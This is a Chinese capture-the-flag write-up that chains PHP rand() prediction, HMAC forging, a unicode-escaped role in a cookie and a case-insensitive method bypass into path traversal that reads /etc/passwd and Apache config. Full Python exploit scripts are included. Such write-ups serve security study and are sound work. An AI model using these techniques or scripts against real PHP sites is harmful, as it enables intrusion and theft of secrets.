0x01 rand缺陷导致密钥泄露
目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php
随便写点东西,抓包,发现html源码里有个?x_show_source:
于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。
分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。
但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:
<?php function rand_str($length = 16) { $rand = []; $_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i = 0; $i < $length; $i++) { $n = rand(0, strlen($_str) - 1); $rand[] = $_str{$n}; } return implode($rand); }
可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
其提到一个公式:
state[i] = state[i-3] + state[i-31]
也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。
所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:
<?php if(empty($_SESSION['SECRET_KEY'])) { $_SESSION['SECRET_KEY'] = rand_str(6); } if(empty($_SESSION['CSRF_TOKEN'])) { $_SESSION['CSRF_TOKEN'] = rand_str(16); }
当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。
我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。
这44个随机数大概是这样的:
a[0]~a[5]未知 + a[6]~a[21]已知 + a[22]~a[27]未知 + a[28]~a[43]已知
然后我们再次发送不带session的数据包,则再次生成『6未知+16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] + a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] + a[47],而a[14]和a[42]也是已知的。
所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。
当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:
number 1 | number 2 | number 3 | number 4 | number 5 | number 6 |
---|---|---|---|---|---|
a | b | c | d | e | f |
a+1 | b+1 | c+1 | d+1 | e+1 | f+1 |
做一个笛卡尔乘积,一共得到如下一些情况:
[('a', 'b', 'c', 'd', 'e', 'f'), ('a', 'b', 'c', 'd', 'e', 'f+1'), ('a', 'b', 'c', 'd', 'e+1', 'f'), ('a', 'b', 'c', 'd', 'e+1', 'f+1'), ('a', 'b', 'c', 'd+1', 'e', 'f'), ('a', 'b', 'c', 'd+1', 'e', 'f+1'), ('a', 'b', 'c', 'd+1', 'e+1', 'f'), ('a', 'b', 'c', 'd+1', 'e+1', 'f+1'), ('a', 'b', 'c+1', 'd', 'e', 'f'), ('a', 'b', 'c+1', 'd', 'e', 'f+1'), ('a', 'b', 'c+1', 'd', 'e+1', 'f'), ('a', 'b', 'c+1', 'd', 'e+1', 'f+1'), ('a', 'b', 'c+1', 'd+1', 'e', 'f'), ('a', 'b', 'c+1', 'd+1', 'e', 'f+1'), ('a', 'b', 'c+1', 'd+1', 'e+1', 'f'), ('a', 'b', 'c+1', 'd+1', 'e+1', 'f+1'), ('a', 'b+1', 'c', 'd', 'e', 'f'), ('a', 'b+1', 'c', 'd', 'e', 'f+1'), ('a', 'b+1', 'c', 'd', 'e+1', 'f'), ('a', 'b+1', 'c', 'd', 'e+1', 'f+1'), ('a', 'b+1', 'c', 'd+1', 'e', 'f'), ('a', 'b+1', 'c', 'd+1', 'e', 'f+1'), ('a', 'b+1', 'c', 'd+1', 'e+1', 'f'), ('a', 'b+1', 'c', 'd+1', 'e+1', 'f+1'), ('a', 'b+1', 'c+1', 'd', 'e', 'f'), ('a', 'b+1', 'c+1', 'd', 'e', 'f+1'), ('a', 'b+1', 'c+1', 'd', 'e+1', 'f'), ('a', 'b+1', 'c+1', 'd', 'e+1', 'f+1'), ('a', 'b+1', 'c+1', 'd+1', 'e', 'f'), ('a', 'b+1', 'c+1', 'd+1', 'e', 'f+1'), ('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f'), ('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1'), ('a+1', 'b', 'c', 'd', 'e', 'f'), ('a+1', 'b', 'c', 'd', 'e', 'f+1'), ('a+1', 'b', 'c', 'd', 'e+1', 'f'), ('a+1', 'b', 'c', 'd', 'e+1', 'f+1'), ('a+1', 'b', 'c', 'd+1', 'e', 'f'), ('a+1', 'b', 'c', 'd+1', 'e', 'f+1'), ('a+1', 'b', 'c', 'd+1', 'e+1', 'f'), ('a+1', 'b', 'c', 'd+1', 'e+1', 'f+1'), ('a+1', 'b', 'c+1', 'd', 'e', 'f'), ('a+1', 'b', 'c+1', 'd', 'e', 'f+1'), ('a+1', 'b', 'c+1', 'd', 'e+1', 'f'), ('a+1', 'b', 'c+1', 'd', 'e+1', 'f+1'), ('a+1', 'b', 'c+1', 'd+1', 'e', 'f'), ('a+1', 'b', 'c+1', 'd+1', 'e', 'f+1'), ('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f'), ('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f+1'), ('a+1', 'b+1', 'c', 'd', 'e', 'f'), ('a+1', 'b+1', 'c', 'd', 'e', 'f+1'), ('a+1', 'b+1', 'c', 'd', 'e+1', 'f'), ('a+1', 'b+1', 'c', 'd', 'e+1', 'f+1'), ('a+1', 'b+1', 'c', 'd+1', 'e', 'f'), ('a+1', 'b+1', 'c', 'd+1', 'e', 'f+1'), ('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f'), ('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f+1'), ('a+1', 'b+1', 'c+1', 'd', 'e', 'f'), ('a+1', 'b+1', 'c+1', 'd', 'e', 'f+1'), ('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f'), ('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f+1'), ('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f'), ('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f+1'), ('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f'), ('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1')]
依次试一遍就好了。
0x02 PHP鸡肋任意代码执行
依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制$act
,$act
是后面PHP执行的函数:
<?php if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) { if(function_exists($act)) { $exec_res = $act(); output($exec_res); } else { show_error_page("Function not found!!"); } } else { show_error_page("Permission deny!!"); }
$act()
,这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:
那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:
主要有以下一些:
- get_defined_functions 可以获取所有已经定义的函数
- get_defined_constants 可以获取所有已经定义的常量
- get_defined_vars 可以获取所有已经定义的变量
- get_included_files 可以获取所有已经包含的文件
- get_loaded_extensions 可以获取所有加载的扩展
- get_declared_classes 可以获取所有已经声明的类
- get_declared_interfaces 可以获取所有已经声明的接口
其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。
这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:
<?php function output($obj) { if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) { header("Content-Type: application/json"); echo json_encode($obj); } else { header("Content-Type: text/html; charset=UTF-8"); echo strval($obj); } }
因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:
输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox
分别执行一下,发现fd_show_source是读取源码:
0x03 提权+任意文件读取漏洞
整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:
<?php function fg_safebox() { _fd_init(); $config = fd_config(); $action = isset($_POST['method']) ? $_POST['method'] : ""; $role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : ""; if(!in_array($role, ['admin', 'user'])) { return fd_error('Permission denied!!'); } if(in_array($action, $config['role']['admin']) && $role != "admin") { return fd_error('Admin permission denied!!'); } $box = new SafeBox(); if(method_exists($box, $action)) { return call_user_func([$box, $action]); } else { return null; } }
先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。
先看看_fd_init:
<?php function _fd_init() { //定义role必须为guest $_SESSION["userinfo"] = [ "role" => "guest" ]; $cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : ""; if(empty($cookie) || strlen($cookie) < 32) { return false; } $h1 = substr($cookie, 0, 32); $h2 = substr($cookie, 32); if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) { return false; } //防止身份伪造 if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) { return false; } $s = json_decode($h2, true); $s['role'] = strval($s['role']); if($s['role'] == 'admin') { return false; } $_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s); return true; }
实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制$_SESSION['userinfo']['role']
。有三个地方注意一下就好了:
- cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题
- admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{<q>role</q>: <q>\u0075ser</q>}
- role的值不能为admin
主要是第三个问题,role的值不能是admin,那么执行不了read方法:
<?php private function _read_file($filename) { $filename = dirname(__FILE__) . "/" . $filename; return file($filename); } public function read() { $filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt"; return $this->_read_file($filename); }
而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。
我们执行fd_config()函数,可以得到权限分配的数组:
可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:
<?php if(in_array($action, $config['role']['admin']) && $role != "admin") { return fd_error('Admin permission denied!!'); }
当$action
在$config['role']['admin']
数组中时,如果你的role又不是admin,则提示权限错误。
其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。
所以,我只需要传入的$action
为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。
执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件
/etc/passwd /etc/hosts /etc/apache2/httpd.conf /etc/php5/php.ini /etc/cron
在/etc/apache2/httpd.conf的最后几行发现flag:
0x04 编写脚本
这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。
首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。
给出我的脚本:
#!/usr/bin/env python import requests import re import itertools import random import string import hmac import hashlib import sys rand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php" def get_csrf_token(res): rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content) return rex.group(1) def str_to_random(lst): return [rand.find(s) for s in lst] def random_to_str(lst): return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst]) def calc_key(lst): for i in range(len(lst), len(lst) + 6): assert(lst[i - 31] != -1) assert(lst[i - 3] != -1) lst.append((lst[i - 31] + lst[i - 3]) % len(rand)) return lst[-6:] def test_token(s, secret): res = s.get(target) token = get_csrf_token(res) res = s.post(target, data={ "submit": "1", "CSRF_TOKEN": token, "act": "phpinfo", "key": hash_hmac("phpinfo", secret) }) if res.content.find("Permission deny!!") < 0: sys.stdout.write("\n") print("[cookies ]", s.headers['Cookie']) print("[key ]", secret) print("[content ]", res.content) return True else: sys.stdout.write(".") sys.stdout.flush() return False def hash_hmac(data, key): h = hmac.new(key, data, hashlib.md5) return h.hexdigest() def rand_str(length): return ''.join(random.choice(string.letters + string.digits) for _ in range(length)) def calc_maybe(lst): prd = [] for i in lst: prd.append((i, i+1)) return itertools.product(*prd) rand_lst = [] s = requests.session(); s.headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) " "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51" ".0.2704.63 Safari/537.36" } for i in range(2): s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12)) res = s.get(target) token = get_csrf_token(res) rand_lst += list("\x00" * 6) rand_lst += list(token) #print(rand_lst) rand_lst = str_to_random(rand_lst) key_arr = calc_key(rand_lst) print("[calc key] ", key_arr) s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12)) for fkey in calc_maybe(key_arr): if test_token(s, random_to_str(fkey)): break
有几点要注意的:
- CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN
- 为了保证Keep-Alive,使用requests库的session类来维持会话
- 为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid
- 笛卡尔积可以用python的itertools.product方法
- 最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid
这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:
拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:
#!/usr/bin/env python import hmac import hashlib import sys import requests import re import urlparse import json import base64 import urllib secret = "5ist0d" session = "eiZCh9cVSo35" target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php" def get_csrf_token(res): rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content) return rex.group(1) def hash_hmac(data, key): h = hmac.new(key, data, hashlib.md5) return h.hexdigest() if __name__ == '__main__': func = sys.argv[1] post_data = {} cookie = '{"role": "\\u0075ser"}' auth = hash_hmac(cookie, secret) s = requests.session() s.headers = { "Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth+cookie))), "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) " "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51" ".0.2704.63 Safari/537.36", "X-REQUESTED-WITH": "XMLHttpRequest" } res = s.get(target) token = get_csrf_token(res) post_data.update({ "submit": "1", "CSRF_TOKEN": token, "act": func, "key": hash_hmac(func, secret), "method": "reaD", "filename": "../../etc/passwd" }) res = s.post(target, data=post_data) print(res.content)
将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如
./calc.py fd_show_source ./calc.py fd_config ./calc.py fg_safebox
当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可: